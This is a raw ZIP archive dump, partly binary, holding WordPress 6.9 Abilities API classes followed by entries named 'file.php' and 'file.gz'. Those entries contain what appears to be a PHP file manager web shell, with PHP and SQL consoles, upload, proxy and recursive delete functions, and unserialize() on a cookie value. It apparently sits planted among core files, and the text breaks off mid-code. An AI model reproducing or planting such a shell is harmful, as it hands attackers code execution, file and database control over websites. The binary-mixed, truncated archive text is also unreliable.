PKB?\Ēj  class-wp-ability-category.phpnu[ */ protected $meta = array(); /** * Constructor. * * Do not use this constructor directly. Instead, use the `wp_register_ability_category()` function. * * @access private * * @since 6.9.0 * * @see wp_register_ability_category() * * @param string $slug The unique slug for the ability category. * @param array $args { * An associative array of arguments for the ability category. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array $meta Optional. Additional metadata for the ability category. * } */ public function __construct( string $slug, array $args ) { if ( empty( $slug ) ) { throw new InvalidArgumentException( __( 'The ability category slug cannot be empty.' ) ); } $this->slug = $slug; $properties = $this->prepare_properties( $args ); foreach ( $properties as $property_name => $property_value ) { if ( ! property_exists( $this, $property_name ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: Property name. */ __( 'Property "%1$s" is not a valid property for ability category "%2$s". Please check the %3$s class for allowed properties.' ), '' . esc_html( $property_name ) . '', '' . esc_html( $this->slug ) . '', '' . __CLASS__ . '' ), '6.9.0' ); continue; } $this->$property_name = $property_value; } } /** * Prepares and validates the properties used to instantiate the ability category. * * @since 6.9.0 * * @param array $args $args { * An associative array of arguments used to instantiate the ability category class. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array $meta Optional. Additional metadata for the ability category. * } * @return array $args { * An associative array with validated and prepared ability category properties. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array $meta Optional. Additional metadata for the ability category. * } * @throws InvalidArgumentException if an argument is invalid. */ protected function prepare_properties( array $args ): array { // Required args must be present and of the correct type. if ( empty( $args['label'] ) || ! is_string( $args['label'] ) ) { throw new InvalidArgumentException( __( 'The ability category properties must contain a `label` string.' ) ); } if ( empty( $args['description'] ) || ! is_string( $args['description'] ) ) { throw new InvalidArgumentException( __( 'The ability category properties must contain a `description` string.' ) ); } // Optional args only need to be of the correct type if they are present. if ( isset( $args['meta'] ) && ! is_array( $args['meta'] ) ) { throw new InvalidArgumentException( __( 'The ability category properties should provide a valid `meta` array.' ) ); } return $args; } /** * Retrieves the slug of the ability category. * * @since 6.9.0 * * @return string The ability category slug. */ public function get_slug(): string { return $this->slug; } /** * Retrieves the human-readable label for the ability category. * * @since 6.9.0 * * @return string The human-readable ability category label. */ public function get_label(): string { return $this->label; } /** * Retrieves the detailed description for the ability category. * * @since 6.9.0 * * @return string The detailed description for the ability category. */ public function get_description(): string { return $this->description; } /** * Retrieves the metadata for the ability category. * * @since 6.9.0 * * @return array The metadata for the ability category. */ public function get_meta(): array { return $this->meta; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the ability category object is unserialized. * This is a security hardening measure to prevent unserialization of the ability category. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the ability category object is serialized. * This is a security hardening measure to prevent serialization of the ability category. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } PKB?\*n..class-wp-abilities-registry.phpnu[ $args { * An associative array of arguments for the ability. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array $input_schema Optional. JSON Schema definition for the ability's input. * @type array $output_schema Optional. JSON Schema definition for the ability's output. * @type array $meta { * Optional. Additional metadata for the ability. * * @type array $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * @type string $ability_class Optional. Custom class to instantiate instead of WP_Ability. * } * @return WP_Ability|null The registered ability instance on success, null on failure. */ public function register( string $name, array $args ): ?WP_Ability { if ( ! preg_match( '/^[a-z0-9-]+\/[a-z0-9-]+$/', $name ) ) { _doing_it_wrong( __METHOD__, __( 'Ability name must be a string containing a namespace prefix, i.e. "my-plugin/my-ability". It can only contain lowercase alphanumeric characters, dashes and the forward slash.' ), '6.9.0' ); return null; } if ( $this->is_registered( $name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability name. */ sprintf( __( 'Ability "%s" is already registered.' ), esc_html( $name ) ), '6.9.0' ); return null; } /** * Filters the ability arguments before they are validated and used to instantiate the ability. * * @since 6.9.0 * * @param array $args { * An associative array of arguments for the ability. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array $input_schema Optional. JSON Schema definition for the ability's input. * @type array $output_schema Optional. JSON Schema definition for the ability's output. * @type array $meta { * Optional. Additional metadata for the ability. * * @type array $annotations Optional. Annotation metadata for the ability. * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * @type string $ability_class Optional. Custom class to instantiate instead of WP_Ability. * } * @param string $name The name of the ability, with its namespace. */ $args = apply_filters( 'wp_register_ability_args', $args, $name ); // Validate ability category exists if provided (will be validated as required in WP_Ability). if ( isset( $args['category'] ) ) { if ( ! wp_has_ability_category( $args['category'] ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %1$s: ability category slug, %2$s: ability name */ __( 'Ability category "%1$s" is not registered. Please register the ability category before assigning it to ability "%2$s".' ), esc_html( $args['category'] ), esc_html( $name ) ), '6.9.0' ); return null; } } // The class is only used to instantiate the ability, and is not a property of the ability itself. if ( isset( $args['ability_class'] ) && ! is_a( $args['ability_class'], WP_Ability::class, true ) ) { _doing_it_wrong( __METHOD__, __( 'The ability args should provide a valid `ability_class` that extends WP_Ability.' ), '6.9.0' ); return null; } /** @var class-string */ $ability_class = $args['ability_class'] ?? WP_Ability::class; unset( $args['ability_class'] ); try { // WP_Ability::prepare_properties() will throw an exception if the properties are invalid. $ability = new $ability_class( $name, $args ); } catch ( InvalidArgumentException $e ) { _doing_it_wrong( __METHOD__, $e->getMessage(), '6.9.0' ); return null; } $this->registered_abilities[ $name ] = $ability; return $ability; } /** * Unregisters an ability. * * Do not use this method directly. Instead, use the `wp_unregister_ability()` function. * * @since 6.9.0 * * @see wp_unregister_ability() * * @param string $name The name of the registered ability, with its namespace. * @return WP_Ability|null The unregistered ability instance on success, null on failure. */ public function unregister( string $name ): ?WP_Ability { if ( ! $this->is_registered( $name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability name. */ sprintf( __( 'Ability "%s" not found.' ), esc_html( $name ) ), '6.9.0' ); return null; } $unregistered_ability = $this->registered_abilities[ $name ]; unset( $this->registered_abilities[ $name ] ); return $unregistered_ability; } /** * Retrieves the list of all registered abilities. * * Do not use this method directly. Instead, use the `wp_get_abilities()` function. * * @since 6.9.0 * * @see wp_get_abilities() * * @return WP_Ability[] The array of registered abilities. */ public function get_all_registered(): array { return $this->registered_abilities; } /** * Checks if an ability is registered. * * Do not use this method directly. Instead, use the `wp_has_ability()` function. * * @since 6.9.0 * * @see wp_has_ability() * * @param string $name The name of the registered ability, with its namespace. * @return bool True if the ability is registered, false otherwise. */ public function is_registered( string $name ): bool { return isset( $this->registered_abilities[ $name ] ); } /** * Retrieves a registered ability. * * Do not use this method directly. Instead, use the `wp_get_ability()` function. * * @since 6.9.0 * * @see wp_get_ability() * * @param string $name The name of the registered ability, with its namespace. * @return WP_Ability|null The registered ability instance, or null if it is not registered. */ public function get_registered( string $name ): ?WP_Ability { if ( ! $this->is_registered( $name ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability name. */ sprintf( __( 'Ability "%s" not found.' ), esc_html( $name ) ), '6.9.0' ); return null; } return $this->registered_abilities[ $name ]; } /** * Utility method to retrieve the main instance of the registry class. * * The instance will be created if it does not exist yet. * * @since 6.9.0 * * @return WP_Abilities_Registry|null The main registry instance, or null when `init` action has not fired. */ public static function get_instance(): ?self { if ( ! did_action( 'init' ) ) { _doing_it_wrong( __METHOD__, sprintf( // translators: %s: init action. __( 'Ability API should not be initialized before the %s action has fired.' ), 'init' ), '6.9.0' ); return null; } if ( null === self::$instance ) { self::$instance = new self(); // Ensure ability category registry is initialized first to allow categories to be registered // before abilities that depend on them. WP_Ability_Categories_Registry::get_instance(); /** * Fires when preparing abilities registry. * * Abilities should be created and register their hooks on this action rather * than another action to ensure they're only loaded when needed. * * @since 6.9.0 * * @param WP_Abilities_Registry $instance Abilities registry object. */ do_action( 'wp_abilities_api_init', self::$instance ); } return self::$instance; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the registry object is unserialized. * This is a security hardening measure to prevent unserialization of the registry. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the registry object is serialized. * This is a security hardening measure to prevent serialization of the registry. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } PKB?\3f[[class-wp-ability.phpnuȯ */ protected static $default_annotations = array( // If true, the ability does not modify its environment. 'readonly' => null, /* * If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. */ 'destructive' => null, /* * If true, calling the ability repeatedly with the same arguments will have no additional effect * on its environment. */ 'idempotent' => null, ); /** * The name of the ability, with its namespace. * Example: `my-plugin/my-ability`. * * @since 6.9.0 * @var string */ protected $name; /** * The human-readable ability label. * * @since 6.9.0 * @var string */ protected $label; /** * The detailed ability description. * * @since 6.9.0 * @var string */ protected $description; /** * The ability category. * * @since 6.9.0 * @var string */ protected $category; /** * The optional ability input schema. * * @since 6.9.0 * @var array */ protected $input_schema = array(); /** * The optional ability output schema. * * @since 6.9.0 * @var array */ protected $output_schema = array(); /** * The ability execute callback. * * @since 6.9.0 * @var callable(mixed): (mixed|WP_Error) */ protected $execute_callback; /** * The optional ability permission callback. * * @since 6.9.0 * @var callable(mixed): (bool|WP_Error) */ protected $permission_callback; /** * The optional ability metadata. * * @since 6.9.0 * @var array */ protected $meta; /** * Constructor. * * Do not use this constructor directly. Instead, use the `wp_register_ability()` function. * * @access private * * @since 6.9.0 * * @see wp_register_ability() * * @param string $name The name of the ability, with its namespace. * @param array $args { * An associative array of arguments for the ability. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array $input_schema Optional. JSON Schema definition for the ability's input. * @type array $output_schema Optional. JSON Schema definition for the ability's output. * @type array $meta { * Optional. Additional metadata for the ability. * * @type array $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * } */ public function __construct( string $name, array $args ) { $this->name = $name; $properties = $this->prepare_properties( $args ); foreach ( $properties as $property_name => $property_value ) { if ( ! property_exists( $this, $property_name ) ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: %s: Property name. */ __( 'Property "%1$s" is not a valid property for ability "%2$s". Please check the %3$s class for allowed properties.' ), '' . esc_html( $property_name ) . '', '' . esc_html( $this->name ) . '', '' . __CLASS__ . '' ), '6.9.0' ); continue; } $this->$property_name = $property_value; } } /** * Prepares and validates the properties used to instantiate the ability. * * Errors are thrown as exceptions instead of WP_Errors to allow for simpler handling and overloading. They are then * caught and converted to a WP_Error by WP_Abilities_Registry::register(). * * @since 6.9.0 * * @see WP_Abilities_Registry::register() * * @param array $args { * An associative array of arguments used to instantiate the ability class. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array $input_schema Optional. JSON Schema definition for the ability's input. Required if ability accepts an input. * @type array $output_schema Optional. JSON Schema definition for the ability's output. * @type array $meta { * Optional. Additional metadata for the ability. * * @type array $annotations { * Optional. Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly Optional. If true, the ability does not modify its environment. * @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent Optional. If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Optional. Whether to expose this ability in the REST API. Default false. * } * } * @return array { * An associative array of arguments with validated and prepared properties for the ability class. * * @type string $label The human-readable label for the ability. * @type string $description A detailed description of what the ability does. * @type string $category The ability category slug this ability belongs to. * @type callable $execute_callback A callback function to execute when the ability is invoked. * Receives optional mixed input and returns mixed result or WP_Error. * @type callable $permission_callback A callback function to check permissions before execution. * Receives optional mixed input and returns bool or WP_Error. * @type array $input_schema Optional. JSON Schema definition for the ability's input. * @type array $output_schema Optional. JSON Schema definition for the ability's output. * @type array $meta { * Additional metadata for the ability. * * @type array $annotations { * Semantic annotations describing the ability's behavioral characteristics. * These annotations are hints for tooling and documentation. * * @type bool|null $readonly If true, the ability does not modify its environment. * @type bool|null $destructive If true, the ability may perform destructive updates to its environment. * If false, the ability performs only additive updates. * @type bool|null $idempotent If true, calling the ability repeatedly with the same arguments * will have no additional effect on its environment. * } * @type bool $show_in_rest Whether to expose this ability in the REST API. Default false. * } * } * @throws InvalidArgumentException if an argument is invalid. */ protected function prepare_properties( array $args ): array { // Required args must be present and of the correct type. if ( empty( $args['label'] ) || ! is_string( $args['label'] ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a `label` string.' ) ); } if ( empty( $args['description'] ) || ! is_string( $args['description'] ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a `description` string.' ) ); } if ( empty( $args['category'] ) || ! is_string( $args['category'] ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a `category` string.' ) ); } // If we are not overriding `ability_class` parameter during instantiation, then we need to validate the execute_callback. if ( get_class( $this ) === self::class && ( empty( $args['execute_callback'] ) || ! is_callable( $args['execute_callback'] ) ) ) { throw new InvalidArgumentException( __( 'The ability properties must contain a valid `execute_callback` function.' ) ); } // If we are not overriding `ability_class` parameter during instantiation, then we need to validate the permission_callback. if ( get_class( $this ) === self::class && ( empty( $args['permission_callback'] ) || ! is_callable( $args['permission_callback'] ) ) ) { throw new InvalidArgumentException( __( 'The ability properties must provide a valid `permission_callback` function.' ) ); } // Optional args only need to be of the correct type if they are present. if ( isset( $args['input_schema'] ) && ! is_array( $args['input_schema'] ) ) { throw new InvalidArgumentException( __( 'The ability properties should provide a valid `input_schema` definition.' ) ); } if ( isset( $args['output_schema'] ) && ! is_array( $args['output_schema'] ) ) { throw new InvalidArgumentException( __( 'The ability properties should provide a valid `output_schema` definition.' ) ); } if ( isset( $args['meta'] ) && ! is_array( $args['meta'] ) ) { throw new InvalidArgumentException( __( 'The ability properties should provide a valid `meta` array.' ) ); } if ( isset( $args['meta']['annotations'] ) && ! is_array( $args['meta']['annotations'] ) ) { throw new InvalidArgumentException( __( 'The ability meta should provide a valid `annotations` array.' ) ); } if ( isset( $args['meta']['show_in_rest'] ) && ! is_bool( $args['meta']['show_in_rest'] ) ) { throw new InvalidArgumentException( __( 'The ability meta should provide a valid `show_in_rest` boolean.' ) ); } // Set defaults for optional meta. $args['meta'] = wp_parse_args( $args['meta'] ?? array(), array( 'annotations' => static::$default_annotations, 'show_in_rest' => self::DEFAULT_SHOW_IN_REST, ) ); $args['meta']['annotations'] = wp_parse_args( $args['meta']['annotations'], static::$default_annotations ); return $args; } /** * Retrieves the name of the ability, with its namespace. * Example: `my-plugin/my-ability`. * * @since 6.9.0 * * @return string The ability name, with its namespace. */ public function get_name(): string { return $this->name; } /** * Retrieves the human-readable label for the ability. * * @since 6.9.0 * * @return string The human-readable ability label. */ public function get_label(): string { return $this->label; } /** * Retrieves the detailed description for the ability. * * @since 6.9.0 * * @return string The detailed description for the ability. */ public function get_description(): string { return $this->description; } /** * Retrieves the ability category for the ability. * * @since 6.9.0 * * @return string The ability category for the ability. */ public function get_category(): string { return $this->category; } /** * Retrieves the input schema for the ability. * * @since 6.9.0 * * @return array The input schema for the ability. */ public function get_input_schema(): array { return $this->input_schema; } /** * Retrieves the output schema for the ability. * * @since 6.9.0 * * @return array The output schema for the ability. */ public function get_output_schema(): array { return $this->output_schema; } /** * Retrieves the metadata for the ability. * * @since 6.9.0 * * @return array The metadata for the ability. */ public function get_meta(): array { return $this->meta; } /** * Retrieves a specific metadata item for the ability. * * @since 6.9.0 * * @param string $key The metadata key to retrieve. * @param mixed $default_value Optional. The default value to return if the metadata item is not found. Default `null`. * @return mixed The value of the metadata item, or the default value if not found. */ public function get_meta_item( string $key, $default_value = null ) { return array_key_exists( $key, $this->meta ) ? $this->meta[ $key ] : $default_value; } /** * Normalizes the input for the ability, applying the default value from the input schema when needed. * * When no input is provided and the input schema is defined with a top-level `default` key, this method returns * the value of that key. If the input schema does not define a `default`, or if the input schema is empty, * this method returns null. If input is provided, it is returned as-is. * * @since 6.9.0 * * @param mixed $input Optional. The raw input provided for the ability. Default `null`. * @return mixed The same input, or the default from schema, or `null` if default not set. */ public function normalize_input( $input = null ) { if ( null !== $input ) { return $input; } $input_schema = $this->get_input_schema(); if ( ! empty( $input_schema ) && array_key_exists( 'default', $input_schema ) ) { return $input_schema['default']; } return null; } /** * Validates input data against the input schema. * * @since 6.9.0 * * @param mixed $input Optional. The input data to validate. Default `null`. * @return true|WP_Error Returns true if valid or the WP_Error object if validation fails. */ public function validate_input( $input = null ) { $input_schema = $this->get_input_schema(); if ( empty( $input_schema ) ) { if ( null === $input ) { return true; } return new WP_Error( 'ability_missing_input_schema', sprintf( /* translators: %s ability name. */ __( 'Ability "%s" does not define an input schema required to validate the provided input.' ), esc_html( $this->name ) ) ); } $valid_input = rest_validate_value_from_schema( $input, $input_schema, 'input' ); if ( is_wp_error( $valid_input ) ) { return new WP_Error( 'ability_invalid_input', sprintf( /* translators: %1$s ability name, %2$s error message. */ __( 'Ability "%1$s" has invalid input. Reason: %2$s' ), esc_html( $this->name ), $valid_input->get_error_message() ) ); } return true; } /** * Invokes a callable, ensuring the input is passed through only if the input schema is defined. * * @since 6.9.0 * * @param callable $callback The callable to invoke. * @param mixed $input Optional. The input data for the ability. Default `null`. * @return mixed The result of the callable execution, or a `WP_Error` if the callback threw. */ protected function invoke_callback( callable $callback, $input = null ) { $args = array(); if ( ! empty( $this->get_input_schema() ) ) { $args[] = $input; } try { return $callback( ...$args ); } catch ( Throwable $e ) { return new WP_Error( 'ability_callback_exception', sprintf( /* translators: 1: Ability name, 2: Exception message. */ __( 'Ability "%1$s" callback threw an exception: %2$s' ), esc_html( $this->name ), esc_html( $e->getMessage() ) ) ); } } /** * Checks whether the ability has the necessary permissions. * * Please note that input is not automatically validated against the input schema. * Use `validate_input()` method to validate input before calling this method if needed. * * @since 6.9.0 * * @see validate_input() * * @param mixed $input Optional. The valid input data for permission checking. Default `null`. * @return bool|WP_Error Whether the ability has the necessary permission. */ public function check_permissions( $input = null ) { if ( ! is_callable( $this->permission_callback ) ) { return new WP_Error( 'ability_invalid_permission_callback', /* translators: %s ability name. */ sprintf( __( 'Ability "%s" does not have a valid permission callback.' ), esc_html( $this->name ) ) ); } return $this->invoke_callback( $this->permission_callback, $input ); } /** * Executes the ability callback. * * @since 6.9.0 * * @param mixed $input Optional. The input data for the ability. Default `null`. * @return mixed|WP_Error The result of the ability execution, or WP_Error on failure. */ protected function do_execute( $input = null ) { if ( ! is_callable( $this->execute_callback ) ) { return new WP_Error( 'ability_invalid_execute_callback', /* translators: %s ability name. */ sprintf( __( 'Ability "%s" does not have a valid execute callback.' ), esc_html( $this->name ) ) ); } return $this->invoke_callback( $this->execute_callback, $input ); } /** * Validates output data against the output schema. * * @since 6.9.0 * * @param mixed $output The output data to validate. * @return true|WP_Error Returns true if valid, or a WP_Error object if validation fails. */ protected function validate_output( $output ) { $output_schema = $this->get_output_schema(); if ( empty( $output_schema ) ) { return true; } $valid_output = rest_validate_value_from_schema( $output, $output_schema, 'output' ); if ( is_wp_error( $valid_output ) ) { return new WP_Error( 'ability_invalid_output', sprintf( /* translators: %1$s ability name, %2$s error message. */ __( 'Ability "%1$s" has invalid output. Reason: %2$s' ), esc_html( $this->name ), $valid_output->get_error_message() ) ); } return true; } /** * Executes the ability after input validation and running a permission check. * Before returning the return value, it also validates the output. * * @since 6.9.0 * * @param mixed $input Optional. The input data for the ability. Default `null`. * @return mixed|WP_Error The result of the ability execution, or WP_Error on failure. */ public function execute( $input = null ) { $input = $this->normalize_input( $input ); $is_valid = $this->validate_input( $input ); if ( is_wp_error( $is_valid ) ) { return $is_valid; } $has_permissions = $this->check_permissions( $input ); if ( true !== $has_permissions ) { if ( is_wp_error( $has_permissions ) ) { // Don't leak the permission check error to someone without the correct perms. _doing_it_wrong( __METHOD__, esc_html( $has_permissions->get_error_message() ), '6.9.0' ); } return new WP_Error( 'ability_invalid_permissions', /* translators: %s ability name. */ sprintf( __( 'Ability "%s" does not have necessary permission.' ), esc_html( $this->name ) ) ); } /** * Fires before an ability gets executed, after input validation and permissions check. * * @since 6.9.0 * * @param string $ability_name The name of the ability. * @param mixed $input The input data for the ability. */ do_action( 'wp_before_execute_ability', $this->name, $input ); $result = $this->do_execute( $input ); if ( is_wp_error( $result ) ) { return $result; } $is_valid = $this->validate_output( $result ); if ( is_wp_error( $is_valid ) ) { return $is_valid; } /** * Fires immediately after an ability finished executing. * * @since 6.9.0 * * @param string $ability_name The name of the ability. * @param mixed $input The input data for the ability. * @param mixed $result The result of the ability execution. */ do_action( 'wp_after_execute_ability', $this->name, $input, $result ); return $result; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the ability object is unserialized. * This is a security hardening measure to prevent unserialization of the ability. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the ability object is serialized. * This is a security hardening measure to prevent serialization of the ability. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } PKB?\RmHH(class-wp-ability-categories-registry.phpnu[ $args { * An associative array of arguments for the ability category. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array $meta Optional. Additional metadata for the ability category. * } * @return WP_Ability_Category|null The registered ability category instance on success, null on failure. */ public function register( string $slug, array $args ): ?WP_Ability_Category { if ( $this->is_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability category slug. */ sprintf( __( 'Ability category "%s" is already registered.' ), esc_html( $slug ) ), '6.9.0' ); return null; } if ( ! preg_match( '/^[a-z0-9]+(?:-[a-z0-9]+)*$/', $slug ) ) { _doing_it_wrong( __METHOD__, __( 'Ability category slug must contain only lowercase alphanumeric characters and dashes.' ), '6.9.0' ); return null; } /** * Filters the ability category arguments before they are validated and used to instantiate the ability category. * * @since 6.9.0 * * @param array $args { * The arguments used to instantiate the ability category. * * @type string $label The human-readable label for the ability category. * @type string $description A description of the ability category. * @type array $meta Optional. Additional metadata for the ability category. * } * @param string $slug The slug of the ability category. */ $args = apply_filters( 'wp_register_ability_category_args', $args, $slug ); try { // WP_Ability_Category::prepare_properties() will throw an exception if the properties are invalid. $category = new WP_Ability_Category( $slug, $args ); } catch ( InvalidArgumentException $e ) { _doing_it_wrong( __METHOD__, $e->getMessage(), '6.9.0' ); return null; } $this->registered_categories[ $slug ] = $category; return $category; } /** * Unregisters an ability category. * * Do not use this method directly. Instead, use the `wp_unregister_ability_category()` function. * * @since 6.9.0 * * @see wp_unregister_ability_category() * * @param string $slug The slug of the registered ability category. * @return WP_Ability_Category|null The unregistered ability category instance on success, null on failure. */ public function unregister( string $slug ): ?WP_Ability_Category { if ( ! $this->is_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability category slug. */ sprintf( __( 'Ability category "%s" not found.' ), esc_html( $slug ) ), '6.9.0' ); return null; } $unregistered_category = $this->registered_categories[ $slug ]; unset( $this->registered_categories[ $slug ] ); return $unregistered_category; } /** * Retrieves the list of all registered ability categories. * * Do not use this method directly. Instead, use the `wp_get_ability_categories()` function. * * @since 6.9.0 * * @see wp_get_ability_categories() * * @return array The array of registered ability categories. */ public function get_all_registered(): array { return $this->registered_categories; } /** * Checks if an ability category is registered. * * Do not use this method directly. Instead, use the `wp_has_ability_category()` function. * * @since 6.9.0 * * @see wp_has_ability_category() * * @param string $slug The slug of the ability category. * @return bool True if the ability category is registered, false otherwise. */ public function is_registered( string $slug ): bool { return isset( $this->registered_categories[ $slug ] ); } /** * Retrieves a registered ability category. * * Do not use this method directly. Instead, use the `wp_get_ability_category()` function. * * @since 6.9.0 * * @see wp_get_ability_category() * * @param string $slug The slug of the registered ability category. * @return WP_Ability_Category|null The registered ability category instance, or null if it is not registered. */ public function get_registered( string $slug ): ?WP_Ability_Category { if ( ! $this->is_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Ability category slug. */ sprintf( __( 'Ability category "%s" not found.' ), esc_html( $slug ) ), '6.9.0' ); return null; } return $this->registered_categories[ $slug ]; } /** * Utility method to retrieve the main instance of the registry class. * * The instance will be created if it does not exist yet. * * @since 6.9.0 * * @return WP_Ability_Categories_Registry|null The main registry instance, or null when `init` action has not fired. */ public static function get_instance(): ?self { if ( ! did_action( 'init' ) ) { _doing_it_wrong( __METHOD__, sprintf( // translators: %s: init action. __( 'Ability API should not be initialized before the %s action has fired.' ), 'init' ), '6.9.0' ); return null; } if ( null === self::$instance ) { self::$instance = new self(); /** * Fires when preparing ability categories registry. * * Ability categories should be registered on this action to ensure they're available when needed. * * @since 6.9.0 * * @param WP_Ability_Categories_Registry $instance Ability categories registry object. */ do_action( 'wp_abilities_api_categories_init', self::$instance ); } return self::$instance; } /** * Wakeup magic method. * * @since 6.9.0 * @throws LogicException If the registry object is unserialized. * This is a security hardening measure to prevent unserialization of the registry. */ public function __wakeup(): void { throw new LogicException( __CLASS__ . ' should never be unserialized.' ); } /** * Sleep magic method. * * @since 6.9.0 * @throws LogicException If the registry object is serialized. * This is a security hardening measure to prevent serialization of the registry. */ public function __sleep(): array { throw new LogicException( __CLASS__ . ' should never be serialized.' ); } } PKB?\ٲ-22file.phpnu[PKB?\ĦAAfile.gznu[ true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 